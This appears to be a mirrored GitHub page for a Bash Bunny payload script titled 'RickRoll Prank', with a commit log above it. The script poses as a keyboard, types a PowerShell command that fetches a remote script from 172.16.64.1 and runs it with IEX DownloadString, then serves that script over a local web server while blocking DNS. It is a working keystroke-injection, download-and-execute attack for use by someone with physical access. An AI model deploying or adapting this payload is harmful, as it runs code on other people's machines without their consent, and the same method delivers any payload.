mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
* Updated all Payloads for Version 1.2+ Fixed Style Issues on extensions and payloads. Added GET TARGET_OS to get.sh Removed and Fixed all uses ducky_helper.sh (Issue #248) Removed all mention of DUCKY_LANG (Issue #248) Renamed Payloads with spaces in name Added an extension to keep Macs Happy Added a payload for Mac DNS poisoning Fixed Issue #271 changed wget to curl -o Implemented PR #268 Implemented PR #273 * Fixed e.cmd * Fix e.cmd pt2 * Fixed Issues Fixed issues pointed out by @sebkinne Fixed styling errors
37 lines
908 B
Bash
37 lines
908 B
Bash
#!/bin/bash
|
|
#
|
|
# Title: RickRoll Prank
|
|
# Author: illwill
|
|
# Version: 0.1
|
|
#
|
|
#
|
|
# Uses a HID/Ethernet Attack to run a RickRoll powershell script from Lee Holmes
|
|
# Blue...............Running Powershell / Waiting for WebServer to start
|
|
# White..............WebServer started starting the rickroll
|
|
# Green..............RickRoll Started, Safe to pull
|
|
|
|
|
|
LED SETUP
|
|
GET SWITCH_POSITION
|
|
|
|
LED STAGE1
|
|
ATTACKMODE HID
|
|
Q GUI r
|
|
Q STRING "powershell \"while (\$true) { If (Test-Connection 172.16.64.1 -count 1 -quiet){ IEX (New-Object Net.WebClient).DownloadString('http://172.16.64.1/RR.ps1');exit}}\""
|
|
Q DELAY 300
|
|
Q ENTER
|
|
|
|
LED STAGE2
|
|
ATTACKMODE RNDIS_ETHERNET
|
|
payload_dir=/root/udisk/payloads/$SWITCH_POSITION
|
|
cd $payload_dir
|
|
LED ATTACK
|
|
iptables -A OUTPUT -p udp --dport 53 -j DROP
|
|
python -m SimpleHTTPServer 80 &
|
|
pid=$!
|
|
while ! nc -z localhost 80; do sleep 0.2; done
|
|
sleep 3
|
|
|
|
LED FINISH
|
|
kill -9 $pid
|
|
exit |